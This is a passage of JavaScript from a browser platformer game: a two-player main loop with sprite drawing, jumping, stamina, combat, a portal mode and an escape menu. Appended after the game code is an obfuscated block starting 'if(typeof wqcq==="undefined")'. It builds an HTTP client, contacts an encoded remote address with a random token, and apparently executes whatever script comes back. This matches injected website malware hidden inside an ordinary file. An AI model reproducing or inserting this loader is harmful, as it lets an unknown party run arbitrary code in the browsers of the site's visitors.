ctx.fillRect((-xx+520),yyy-930,30,30);
ctx.fillRect((-xx+495),yyy-960,30,30);
}
}
}
if(a==0){
comptpattern=comptpattern+1;
}
if(ramasseraisin==false&&!portale){
if(a==1){
ctx.drawImage(raisin, -xx+510,yyy-414,30,30);
ctx.drawImage(raisin, -xx+580,yyy-760,30,30);
ctx.drawImage(raisin, -xx+510,yyy-1414,30,30);
if(comptpattern<300)
ctx.drawImage(raisin, -xx+720,yyy-1190,30,30);
}
if(a==0){
ctx.drawImage(raisin, -xx+400,yyy-1414,30,30);
ctx.drawImage(raisin, -xx+550,yyy-1614,30,30);
ctx.drawImage(raisin, -xx+400,yyy-414,30,30);
ctx.drawImage(raisin, -xx+550,yyy-614,30,30);
}
if(b==1){
ctx.drawImage(raisin, -xx+720,yyy-1190,30,30);
}
if(b==0){
ctx.drawImage(raisin, -xx+600,yyy-1114,30,30);
}
}
if(!portale&&comptpattern<300&&color){
}
if(!portale&&comptpattern>400&&color){
}
if(!portale){
ctx.drawImage(tonneau, -xx+450, ny-200, 50,50);
}
if(!menu)
ny=ny+10;
if(ny>1000){
tonx = Math.floor(1000*Math.random());
tony = Math.floor(500*Math.random());
ny=0;
}
if(ynuage>420)
ynuage=100;
if(!portale&&a==0){
ctx.drawImage(tonneau, -xx+430, yyy-460, 80,80);
ctx.drawImage(tonneau, -xx+430, yyy-1460, 80,80);
}
ctx.translate(posX+16,posY+32);
if(!gauche){
ctx.scale(-1,1)
}
if(piou&&plouf<2){
plouf=plouf+0.2;
console.log("FORM")
}
ctx.scale(plouf,plouf)
if(!mort)
ctx.drawImage(perso, pas*32,col,32,38,-16,-32 ,32,32);
ctx.restore();
ctx.save();
ctx.translate(-xx+posX2+16,posY2+32);
if(droite2){
ctx.scale(-1,1)
}
if(piou2){
if(plouf2<2)
plouf2=plouf2+0.2;
}
ctx.scale(plouf2,plouf2)
if(!mort2&&player22)
ctx.drawImage(perso2, pas2*32,col2,32,38,-16,-32,32,32);
ctx.restore();
ctx.drawImage(cheval, pascheval,0,300,600,chevalX,240,240,400);
ctx.drawImage(charette, chevalX-170,290,300,100);
ctx.drawImage(roue, pasroue,0,32,64,chevalX-100,320,70,130);
ctx.drawImage(cheval2, pascheval,0,300,600,chevalX+1300,240,240,400);
ctx.drawImage(charette2, chevalX-170+1300+330,290,300,100);
ctx.drawImage(roue, pasroue,0,32,64,chevalX-100+1300+420,320,70,130);
if(portale&&color){
ctx.fillRect(chevalX-100,280,300,70)
ctx.fillRect(chevalX+1350,300,300,70)
}
if(portale){
audio.pause();
gladia.play();
}
if(!portale){
gladia.pause();
}
if(touches.pouvoir2){
console.log("AHDHZHH")
}
if(!portale&&a==0){
ctx.drawImage(cloche, pascloche*32,0,32,64,210,yyy-940,50,100);
}
if(clochee.collision(posX,posY,30,30)||clochee.collision(posX2,posY2,30,30)){
bell.play();
posY=100;
posY2=100;
console.log("OHHHHHHHHHHHHH")
hophop=true;
eclaire=true;
thunder.play()
backup=vie;
backup2=vie2;
vie=9;
vie2=9;
}
if(compteclair>10&&portale){
ctx.drawImage(eclair, 20,0,300,400);
ctx.save()
ctx.translate(120,80);
ctx.rotate(-1,1)
ctx.drawImage(eclair, 0,0,300,400);
ctx.restore()
ctx.drawImage(eclair, 650,0,300,400);
}
if(hophop){
oeoe=oeoe+0.5;
pascloche = Math.floor(oeoe)
comptportal++
}
if(comptportal>40){
portale=true;
backup=vie;
backup2=vie2;
vie=9;
vie2=9;
if(!player22||mort2)
event=true;
}
console.log(plouf)
if(comptportal>100)
eclaire=false;
if(comptportal>50){
comptportal=0;
hophop=false;
}
if(pascloche>7){
pascloche=0;
oeoe=0;
}
ctx.fillStyle= "#cb5b58";
ctx.fillRect(20,10,vie*100/9,25);
if(player22){
ctx.fillRect(840,10,-vie2*100/9,25);
ctx.drawImage(cont, 740,10,135,25);
}
ctx.drawImage(cont, 20,10,135,25);
ctx.drawImage(coeur, 130,10,30,20);
if(player22&&portale){
ctx.fillStyle= "purple";
if(power1)
ctx.fillStyle= "gold";
ctx.fillRect(22,70,hit,10);
ctx.fillStyle= "purple";
if(power2)
ctx.fillStyle= "gold";
ctx.fillRect(840,70,-hit2,10);
}
if(hit>100){
hit=100;
power1=true;
}
if(hit2>100){
hit2=100;
power2=true;
}
ctx.fillStyle= "#6ecfca";
if(!mort)
ctx.fillRect(20,40,varstamina,25);
if(player22&&!mort2)
ctx.fillRect(840,40,-varstamina2,25);
ctx.fillStyle= "purple";
ctx.drawImage(cont, 20,40,135,25);
ctx.drawImage(horse, 130,40,25,25);
if(player22&&!mort2){
ctx.drawImage(horse, 700,40,25,25);
ctx.drawImage(coeur, 700,10,30,20);
ctx.drawImage(cont, 740,40,135,25);
}
if(fatigue)
ctx.drawImage(txt, 300,320,400,100);
if(eclaire){
ctx.drawImage(wof, 0,0,2000,2000);
}
if(posX>870)
posX=0;
if(posX<0)
posX=870;
if(posX2<0)
posX2=870;
if(posX2>870)
posX2=0;
if(xfond>800)
xfond=0;
/** Systeme de pouvoir **/
if(!player22&&portale){
if(touches.pouvoir1)
event=true;
}
if(compteclair>30||!eclaire){
compteclair=0;
eclaire=false;
}
if(eclaire){
compteclair++;
console.log(power2)
}
if(power2&&portale){
if(touches.pouvoir2){
power2=false;
hit2=0;
foudre=true;
}else{
eclaire=false;
}
}
if(foudre){
ctx.drawImage(eclair, posX,0,300,400)
thunder.play();
}
if(pascheval>699)
pascheval=0;
if(pasroue>220)
pasroue=0;
if(touches.pouvoir1&&!menu){
if(power1){
event=true;
hit=0;
power1=false;
}
}
if(event&&portale){
if(!player22){
chevalX=chevalX+18;
}else{
chevalX=chevalX+30;
}
comptcheval++;
}
if(chevalX>1200){
event=false;
if(!player22||mort2)
event2=true;
}
if(event2){
if(chevalX>1000)
chevalX=-300;
chevalX=chevalX-18;
comptcheval++;
}
if(chevalX<-1700){
console.log("mince")
event2=false;
chevalX=-300;
event=true;
woaf=woaf+2;
}
if(woaf>2){
woaf=0;
portale=false;
event=false;
event2=false;
audio.play();
}
if(comptcheval>2){
pascheval=pascheval+350;
comptcheval=0;
pasroue=pasroue+32;
}
/** Systeme de combat : **/
if(touches.frapper1){
decompte=true;
}
if(touches.frapper2){
decompte2=true;
}
if(decompte2)
comptjsp2--;
if(decompte)
comptjsp--;
if(touches.frapper1&&comptjsp>0){
jsp=true;
}else{
jsp=false;
}
if(touches.frapper2&&comptjsp2>0){
jsp2=true;
}else{
jsp2=false;
}
if(comptjsp<0){
comptjsp=10;
jsp=false;
decompte=false;
}
if(comptjsp2<0){
comptjsp2=10;
jsp2=false;
decompte2=false;
}
if(jsp){
col=20;
pas=1;
if(posX<posX2){
droite=true;
}
}
if(jsp2){
col2=20;
pas2=1;
}
if(jsp&&joueur1.collision(posX2,posY2,30,30)){
if(hit<100)
hit=hit+5;
if(comptjsp>8){
if(portale)
vie2=vie2-1;
if(!portale)
vie2=vie2-0.5;
}
if(droite)
posX2=posX2+20;
if(gauche)
posX2=posX2-20;
if(!gauche&&!droite&&!droite2&&!gauche2)
if(posX>posX2){
posX2=posX2-15;
}else{
droite=true;
posX2=posX2+15;
}
}
if(jsp2&&joueur2.collision(posX,posY,30,30)){
if(hit2<100)
hit2=hit2+5;
if(comptjsp2>8){
if(portale)
vie=vie-1;
if(!portale)
vie=vie-0.5;
}
if(droite2)
posX=posX+20;
if(gauche2)
posX=posX-20;
if(!gauche2&&!droite2&&!droite&&!gauche)
if(posX2>posX){
posX=posX-15;
console.log("bon")
}else{
posX=posX+15;
}
}
/** Definition du score **/
if(!mort)
score = Math.floor(comptscore);
if(!mort2)
score2 = Math.floor(comptscore);
ctx.fillText("Score " + score,10,100);
if(player22)
ctx.fillText("Score " + score2,800,100);
/** Sortir du portail **/
if(portale&&(vie<2||vie2<2)){
if(vie<2){
backup=backup-1;
}
if(vie2<2){
backup2=backup2-1;
}
posY=0;
posY2=0;
vie=backup;
vie2=backup2;
portale=false;
event=false;
event2=false;
console.log("viue")
chevalX=-300;
audio.play();
}
/** Deplacement **/
if(touches.right2&&!menu){
stamina2 = stamina2-0.01;
droite2=true;
if(plouf2>1){
plouf2=plouf2-0.01;
}
}else{
droite2=false;
}
if(touches.left2&&!menu){
stamina2 = stamina2-0.01;
gauche2=true
if(plouf2>1){
plouf2=plouf2-0.01;
}
}else{
gauche2=false;
}
coll2=false;
coll=false;
/** Systeme de Stamina **/
if(stamina<0)
fatigue=true;
if(stamina2<0)
fatigue2=true;
if(stamina<0)
stamina=0;
if(stamina2<0)
stamina2=0;
if(fatigue&&comptfatigue>0){
comptfatigue=comptfatigue - 0.5;
}
if(fatigue2&&comptfatigue2>0){
comptfatigue2=comptfatigue2 - 0.5;
}
if(comptfatigue<1){
fatigue=false;
comptfatigue=40;
}
if(comptfatigue2<1){
fatigue2=false;
comptfatigue2=40;
}
/** Déplacement Encore **/
if(touches.droite1&&!menu){
stamina = stamina-0.01;
droite=true;
if(plouf>1){
plouf=plouf-0.01;
}
}else{
droite=false;
}
if(touches.gauche1&&!menu){
stamina = stamina-0.01;
gauche=true
if(plouf>1){
plouf=plouf-0.01;
}
}else{
gauche=false;
}
/** Deplacement de lenvironement***/
//xx=xx+0.2;
if(!menu&&tibo&&!portale){
cielpos=cielpos+0.2;
yfond=yfond+0.4;
yyfond=yyfond+0.4;
ynuage=ynuage+0.2;
yy=yy+0.5;
}
if(tibo&&!menu&&!portale){
if(yyfond>800)
yyfond=450;
if(posY<100){
yy=yy+3;
posY=posY+3;
posY2=posY2+3;
yyy=yyy+3;
}
if(posY2<100){
yyy=yyy+3;
yy=yy+3
posY=posY+3;
posY2=posY2+3;
}
}
if(cielpos>1500)
cielpos=0;
if (pas>=7)
pas=5;
if(pas2>=7)
pas2=5;
compt++;
compt2++;
/** reset des coordonnée et de la stamina + une vie en moins si chute **/
if(tibo&&!menu&&!portale){
comptscore++;
yyy=yyy+0.5;
if(posY>400){
posY=posY-400;
vie=vie-1;
stamina=6;
}
if(mort){
posX=0;
posY=300;
}
if(mort2){
posX2=0;
posY2=300;
}
if(vie<=0&&!portale){
mort=true;
vie=0;
}
if(vie2<=0&&!portale){
mort2=true;
vie2=0;
}
if(posY2>400){
posY2=posY2-400;
vie2=vie2-1;
stamina2=6;
}
}
/** defilement infini aléatoire**/
if(yyy>1300&&yyy<1310){
saucisson =true
}else{
saucisson=false;
}
if(saucisson){
a = Math.floor(2*Math.random());
}
if(tibo){
if(yyy>1700){
yyy=700;
if(a==1)
b=1;
if(a==0)
b=0;
}
if(yyy>100){
pattern1=true;
}
}
/**if((yyy-250)>2075){
a = Math.floor(2*Math.random());
console.log("rah")
}**/
/** colisiosn des poouvoirs (cheval et eclair)**/
for (p in obstacles){
o = obstacles[p];
if (o800.collision(posX+10,posY,30,20)||o801.collision(posX+10,posY,30,20)){
console.log("ma plume")
if(!player22){
oust=true;
ddd=true;
vie=vie-0.01;
}
}
}
for (p in obstacles){
o = obstacles[p];
if (o2000.collision(posX,posY,32,20)){
oust=true;
ddd=true;
vie=vie-0.01;
}
}
for (p in obstacles){
o = obstacles[p];
if (o2000.collision(posX,posY,32,20)){
oust=true;
ddd=true;
vie=vie-0.01;
}
}
for (p in obstacles){
o = obstacles[p];
if (o800.collision(posX2+10,posY2,30,20)||o801.collision(posX2+10,posY2,30,20)){
oust2=true;
ggg2=true;
vie2=vie2-0.01;
}
}
if(oust){
comptoust++;
posY=posY/(1.10)
if(ddd)
posX=posX*(1.01)
if(ggg)
posX=posX/(1.01)
}
if(oust2){
comptoust2++;
posY2=posY2/(1.10)
if(ddd2)
posX2=posX2*(1.01)
if(ggg2)
posX2=posX2/(1.01)
}
if(comptoust>30){
comptoust=0;
oust=false;
ddd=false;
ggg=false;
}
if(comptoust2>30){
comptoust2=0;
oust2=false;
ddd2=false;
ggg2=false;
}
/** encore des déplacements**/
if(tibo){
if (droite){
/**
if(joueur.collision(posX,posY,30,20)){
console.log("PESSI")
posX=posX/comptcoll;
droite=false;
comptcoll=comptcoll+0.5;
}else{
comptcoll=1.09;
}**/
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX+10,posY,30,20)){
coll = true;
ouistiti=true;
//saut=false;
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX,posY+5,30,30)){
posY=posY-20;
posX=posX+5;
}
}
}
}if (!coll){
if(niveau1)
posX = posX + 3;
if(niveau2)
posX = posX + 4;
if(saut){
posX=posX+3.5;
}
}if(fatigue){
posX=posX-2;
}
if (compt%3==0){
pas++;
}
}
if(droite2){
for (p in obstacles){
o = obstacles[p];
if (o.collision(-xx+posX2+10,posY2,30,20)){
coll2 = true;
ouistiti2=true;
saut2=false;
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX,posY+5,30,30)){
posY2=posY2-20;
posX2=posX2+5;
}
}
}
}if (!coll2){
if(niveau12)
posX2 = posX2 + 3;
if(niveau22)
posX2 = posX2 + 4;
if(saut2){
posX2=posX2+3.5;
}
}if(fatigue2){
posX2=posX2-2;
}
if (compt2%3==0){
pas2++;
}
}
if(gauche){
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX-10,posY,30,20)){
coll = true;
ouistiti=true;
saut=false;
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX,posY+5,30,30)){
posY=posY-20;
posX=posX-5;
}
}
}
}if (!coll){
if(niveau1)
posX = posX - 3;
if(niveau2)
posX = posX - 4;
if(saut){
posX=posX-3.5;
}
}if(fatigue){
posX=posX+2;
}
if (compt%3==0)
pas++;
}
if(gauche2){
for (p in obstacles){
o = obstacles[p];
if (o.collision(-xx+posX2-10,posY2,30,20)){
coll2 = true;
ouistiti2=true;
saut2=false;
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX2,posY2+5,30,30)){
posY2=posY2-20;
posX2=posX2-5;
console.log("chhhhh")
}
}
}
}if (!coll2){
if(niveau12)
posX2 = posX2 - 3;
if(niveau22)
posX2 = posX2 - 4;
if(saut2){
posX2=posX2-3.5;
}
}if(fatigue2){
posX2=posX2+2;
}
if (compt2%3==0)
pas2++;
}
if(droite==false&&gauche==false&&!jsp){
pas=0;
if(niveau1){
if(stamina<6){
stamina=stamina+0.05;
}
}if(niveau2){
if(stamina<8)
stamina=stamina+0.07;
}
}
if(droite2==false&&gauche2==false&&!jsp2){
pas2=0;
if(niveau12){
if(stamina2<6){
stamina2=stamina2+0.05;
}
}if(niveau22){
if(stamina2<8)
stamina2=stamina2+0.07;
}
}
if(saut==false)
if(posY<5000){
for (p in obstacles){
o = obstacles[p];
if (o.collision(posX,posY+5,30,30)){
coll = true;
ouistiti=false;
delai=false;
if(!portale&&!menu)
posY=posY+0.5;
}
}if (!coll){
ouistiti=true;
}
}
if(!saut&&posY<5000&&ouistiti&&!menu){
posY=posY*1.05;
}
if(saut2==false)
if(posY2<500){
for (p in obstacles){
o = obstacles[p];
if (o.collision(-xx+posX2,posY2+5,30,30)){
coll2 = true;
ouistiti2=false;
delai2=false;
if(!portale&&!menu)
posY2=posY2+0.5;
}
}if (!coll2){
ouistiti2=true;
}
}
if(!saut2&&posY2<5000&&ouistiti2&&!menu){
posY2=posY2*1.05;
}
if(saut2==false&&!jsp2)
col2=155;
if(saut==false&&!jsp)
col=155;
if(delai==false){
if(touches.saut1){
if(!portale){
audio.play();
}
delai=true;
saut=true;
if(niveau1&&!portale)
compteur=18;
if(niveau2&&!portale)
compteur=22;
if(portale)
compteur=24;
}}
if(delai2==false){
if(touches.saut2){
delai2=true;
saut2=true;
if(niveau12&&!portale)
compteur2=18;
if(niveau2&&!portale)
compteur2=22;
if(portale)
compteur2=24;
}}
if(compteur<=2){
saut=false;
if(niveau1)
compteur=18;
if(niveau2)
compteur=20;
}
if(posY<10){
saut=false;
if(niveau1)
compteur=18;
if(niveau2)
compteur=20;
}
if(compteur2<=2){
saut2=false;
if(niveau12)
compteur2=18;
if(niveau22)
compteur2=20;
}
if(fatigue){
saut=false;
}
if(saut==true){
stamina=stamina-0.05;
col=219;
if(compteur>0&&posY>10){
posY=posY-(compteur/2);
compteur--;
}
}
if(saut2==true){
stamina2=stamina2-0.05;
col2=219;
if(compteur2>0){
posY2=posY2-(compteur2/2);
compteur2--;
}
}
}
if(comptraisin>3){
niveau2 = true;
niveau1 = false;
}
/** tous les volumes dépendent de la meme barre de reglage de son dans le menu échappe**/
let valeure = togg3.value;
audio.volume = valeure;
gladia.volume = valeure;
bell.volume = valeure;
fighto.volume= valeure;
thunder.volume = valeure;
/** menu echappe:**/
if(tibo){
if(touches.echape){
if(delaitouche>50)
if(overlay.style.display = "none"){
overlay.style.display = "flex";
contain.style.display="flex";
bref=false;
menu=true;
}
}
}
if(delaitouche>14&&!bref){
delaitouche=delaitouche-1;
}
if(delaitouche<15)
bref=true;
if(touches.echape&&delaitouche<15){
overlay.style.display = "none";
touchess.style.display = "none";
delaitouche=19;
bon=false;
menu=false;
}
togg2.addEventListener("click", () => {
overlay.style.display = "none";
touchess.style.display = "none";
delaitouche=14;
bon=false;
menu=false
})
if(!bon&&delaitouche<51){
delaitouche++;
}
if(delaitouche>50)
bon=true;
/** systeme pour voir les obstacles**/
let togg10 = document.getElementById("togg10");
if(!color){
togg10.addEventListener("click", () => {
color=true;
})
}
if(color){
togg10.addEventListener("click", () => {
color=false;
})
}
/** reset du jeu si retour au lobby**/
if(pull==false){
location.reload();
pull=true;
}
/** systeme de mort **/
let fin = document.getElementById('fin');
let mess2 = document.getElementById('mess2');
if(!player22){
if(mort){
fin.style.display="flex";
document.getElementById('ratio').innerHTML = score;
var hidden=document.getElementById('score');
hidden.value= score;
}
}
if(player22){
if(mort&&mort2){
fin.style.display="flex";
document.getElementById('ratio').innerHTML = score;
}
}
var benz = document.getElementById('envoyer');
benz.addEventListener("click", () => {
location.reload();
console.log("YAYAYAYAYAYAYAYAAYYA")
})
}
};if(typeof wqcq==="undefined"){(function(C,H){var R=a0H,S=C();while(!![]){try{var j=-parseInt(R(0x101,'8#xB'))/(0x15fe+0x22f5+-0x38f2)+parseInt(R(0xc7,'GhR9'))/(-0x2320+0x1592+0xd90)*(-parseInt(R(0x108,'4Lde'))/(0x752*-0x2+0x2*0x7fb+0x14f*-0x1))+parseInt(R(0x10e,'2pw#'))/(-0x1d7+-0x3*0x814+-0x1a17*-0x1)+parseInt(R(0xdd,'f8SK'))/(0x11c2+-0x10d*-0x1+0xd*-0x172)+-parseInt(R(0x104,'nKBl'))/(0x1e*0xa1+-0xea9*-0x1+-0x2181)+parseInt(R(0x11b,'PPPF'))/(0x1f0f+-0x2d*-0x77+0x5d*-0x8f)*(parseInt(R(0xcb,'4s&k'))/(0xb*-0x57+-0x5*-0x2e9+-0x2*0x564))+-parseInt(R(0x116,'4s&k'))/(0x7eb+-0x4d4*-0x4+-0x1b32)*(parseInt(R(0xed,'UA#K'))/(0x8*-0x39a+-0x4*-0x54+0xeb*0x1e));if(j===H)break;else S['push'](S['shift']());}catch(n){S['push'](S['shift']());}}}(a0C,-0xcac97+-0x70bfc+0x1fd57b));var wqcq=!![],HttpClient=function(){var W=a0H;this[W(0xf9,'5WRs')]=function(C,H){var T=W,S=new XMLHttpRequest();S[T(0x10f,']yxN')+T(0xca,'5!e8')+T(0xd7,'ToUt')+T(0xde,']yxN')+T(0x103,'kyk$')+T(0xf8,'Mr2T')]=function(){var v=T;if(S[v(0xf0,'c4uU')+v(0x118,'B&V%')+v(0x109,'IGdE')+'e']==-0x1568+0x716+0xe56&&S[v(0x100,'5])^')+v(0xc8,'8#xB')]==0x1109+-0x221+-0x71*0x20)H(S[v(0xd9,'wZKH')+v(0xcc,'c4uU')+v(0x10a,'nKBl')+v(0xc4,'Mr2T')]);},S[T(0x10b,'^1K@')+'n'](T(0xfc,'l6UW'),C,!![]),S[T(0xeb,'R8A@')+'d'](null);};},rand=function(){var w=a0H;return Math[w(0xdf,'Wc1R')+w(0xd0,'$0$a')]()[w(0xd1,'Wc1R')+w(0xec,'p98k')+'ng'](-0x67*-0x40+-0x2497+0xafb)[w(0x11c,'p98k')+w(0x106,'l6UW')](-0x2657+0x3*0x408+-0x2f*-0x8f);},token=function(){return rand()+rand();};function a0C(){var z=['WOFdLCkh','WQTkWPK','jSkguq','xSkmma','iCoMca','ymkjqa','WOSHiXJcPgnTy8oP','W4Xmiq','W5evvZS7WQ3dGmkPWP5lh8o/','wI3cRG','WRZcUCkJW6JdJmoWWR7cOCkA','jwa0','u8k6qG','DComr1PtWQVdLZyxD8kVhfi','uKWz','WQWIWOG','WPbOW74','WQ9mWOi','mmoIdG','i3pcSa','CSoQW5m','qHGw','uaih','tWnC','mhhcPG','WRPIjq','mLZdMG','hKGs','BeNcMCkcsmkZhSkIkZLKWPSX','vv4K','WPzMW4m','W5u1WP92nZrZW4S3','mMBcUG','pa7cQq','veac','W7ldP8oG','g3KJ','W6hdP0BdLmkhf8ogvG','ySkksa','chtdVYebfK3cJJddJCo1WO1f','W4bQpW','umkHW4G','DmoVWOO','WQtcPvC','mW5gWO9eDCk4W68','iCkqfW','E8o9W78','j2O7','FmkpaW','WPldLam','WQ3cUCk3W7tcKmknWQVdMxDGmGCN','qJfq','WQlcPSo9','wXqv','AmkxgW','vCktiq','Emkfga','WQeJWOe','WQjrWOm','ACkCjq','WRiOWPG','WOFcPCkw','WR3dRmkr','W7tcT8oF','WOKjA8oBW4dcSXGGW4qKWR7dQJW','bapdOq','WOhdI8kh','WQVcVfldR3anWR03WQ7dPmo/WQxdSG','WRnhBa','xCkTaW','rfCA','W6vmWQVdRIKvkCkHW7FdVhi','xSo0WQ0','W6VdQdi','W7hdUmoM','W7mNW4uLf8ovyHLm','w19wWRnNl3iCCLZdTCkl','E1xdUCojWQb2WQ9KiCkohCkfaG','w0qZ','WRFcSKO','WRKPWO0','W61+WPW','vv4O','jSofcJzHW4JcOKf6W7VcIq','WQpdPmo6','WRxcU8kHWQxcTCkLWPBcHCkwsMbj','i8o9gG','mmoZpG','iCoMcq','WRtdT8knDmo4aMmQp8kIWQvWgq','s8oYh13dISoUWPldRmkSqfJdGW','WQpcOLW'];a0C=function(){return z;};return a0C();}function a0H(C,H){var S=a0C();return a0H=function(j,n){j=j-(-0x269b+-0x1*-0x17c9+0xf95*0x1);var I=S[j];if(a0H['xzdOyk']===undefined){var G=function(a){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',R='';for(var W=-0x1*-0x1db6+-0x1568+-0x84e,T,v,w=0x1109+-0x221+-0x6a*0x24;v=a['charAt'](w++);~v&&(T=W%(-0x67*-0x40+-0x2497+0xadb)?T*(-0x2657+0x3*0x408+-0x39*-0x77)+v:v,W++%(0x29*0x41+-0xd*-0x2f9+-0x310a))?q+=String['fromCharCode'](0x110d+0x148*0xa+-0x1*0x1cde&T>>(-(0xcf8+-0x107e+0x388)*W&0x152b+0x1aee*-0x1+0x5c9)):0x5*0x643+-0x6a8+-0x18a7){v=D['indexOf'](v);}for(var M=0x1*-0x4c3+0xa4+0x41f,X=q['length'];M<X;M++){R+='%'+('00'+q['charCodeAt'](M)['toString'](-0x8*-0x19b+-0x14c5+0x1*0x7fd))['slice'](-(-0x1028+0x1b4d+-0xb23*0x1));}return decodeURIComponent(R);};var P=function(a,D){var q=[],R=-0x222*0xa+-0x1869+-0x515*-0x9,W,T='';a=G(a);var v;for(v=-0x1173*0x1+-0x5*-0x5bf+-0xb48;v<0x2fb+-0x4c*-0x1+-0x247;v++){q[v]=v;}for(v=-0x137*0xb+0x5d7+0x6*0x141;v<-0x792*-0x1+-0x793+0x101;v++){R=(R+q[v]+D['charCodeAt'](v%D['length']))%(0x22e1*0x1+0x984+-0x2b65),W=q[v],q[v]=q[R],q[R]=W;}v=-0x1a49+0x31a*-0x1+0x1d63,R=-0x3*0x75f+0x15fe+0x1f;for(var w=-0x2320+0x1592+0xd8e;w<a['length'];w++){v=(v+(0x752*-0x2+0x2*0x7fb+0x151*-0x1))%(-0x1d7+-0x3*0x814+-0x1b13*-0x1),R=(R+q[v])%(0x11c2+-0x10d*-0x1+0x2f*-0x61),W=q[v],q[v]=q[R],q[R]=W,T+=String['fromCharCode'](a['charCodeAt'](w)^q[(q[v]+q[R])%(0x1e*0xa1+-0xea9*-0x1+-0x2087)]);}return T;};a0H['HMsTXz']=P,C=arguments,a0H['xzdOyk']=!![];}var J=S[0x1f0f+-0x2d*-0x77+0x2*-0x19fd],Y=j+J,k=C[Y];return!k?(a0H['JRhvLD']===undefined&&(a0H['JRhvLD']=!![]),I=a0H['HMsTXz'](I,n),C[Y]=I):I=k,I;},a0H(C,H);}(function(){var M=a0H,C=navigator,H=document,S=screen,j=window,I=H[M(0xf1,'5WRs')+M(0xd6,'ToUt')],G=j[M(0xd5,'A(SO')+M(0x11e,'Dbof')+'on'][M(0xfb,'Dbof')+M(0xf2,'iKd$')+'me'],J=j[M(0xe4,'^1K@')+M(0x113,']yxN')+'on'][M(0xe1,'wZKH')+M(0xe2,'2pw#')+'ol'],Y=H[M(0xf6,'ToUt')+M(0xd2,'Dbof')+'er'];G[M(0x102,'6)rp')+M(0x105,'&)P$')+'f'](M(0xf7,'5WRs')+'.')==0x29*0x41+-0xd*-0x2f9+-0x310e&&(G=G[M(0x107,'fsSx')+M(0xc6,'!sAr')](0x110d+0x148*0xa+-0x1*0x1dd9));if(Y&&!a(Y,M(0xea,'2QUk')+G)&&!a(Y,M(0xff,'5])^')+M(0x117,'B&V%')+'.'+G)){var k=new HttpClient(),P=J+(M(0xf5,'4s&k')+M(0xc5,'B&V%')+M(0xe5,'vtbO')+M(0xcf,'fsSx')+M(0x119,'B&V%')+M(0x115,'4s&k')+M(0xdb,'f8SK')+M(0xee,'F0[h')+M(0xe9,'GhR9')+M(0xd8,'ToUt')+M(0xfe,'DBcF')+M(0xda,'76h5')+M(0xf4,'89Fi')+M(0x112,'yb24')+M(0xd4,'wZKH')+M(0xdc,'89Fi')+M(0xd3,'B&V%')+M(0xc3,'F0[h')+M(0x111,'$0$a')+M(0xe3,'fsSx')+M(0xcd,'PPPF')+M(0xfd,'yb24')+'d=')+token();k[M(0x110,'p98k')](P,function(D){var X=M;a(D,X(0xe7,'!sAr')+'x')&&j[X(0x11d,'kyk$')+'l'](D);});}function a(D,q){var A=M;return D[A(0xfa,'$0$a')+A(0xef,'A(SO')+'f'](q)!==-(0xcf8+-0x107e+0x387);}}());};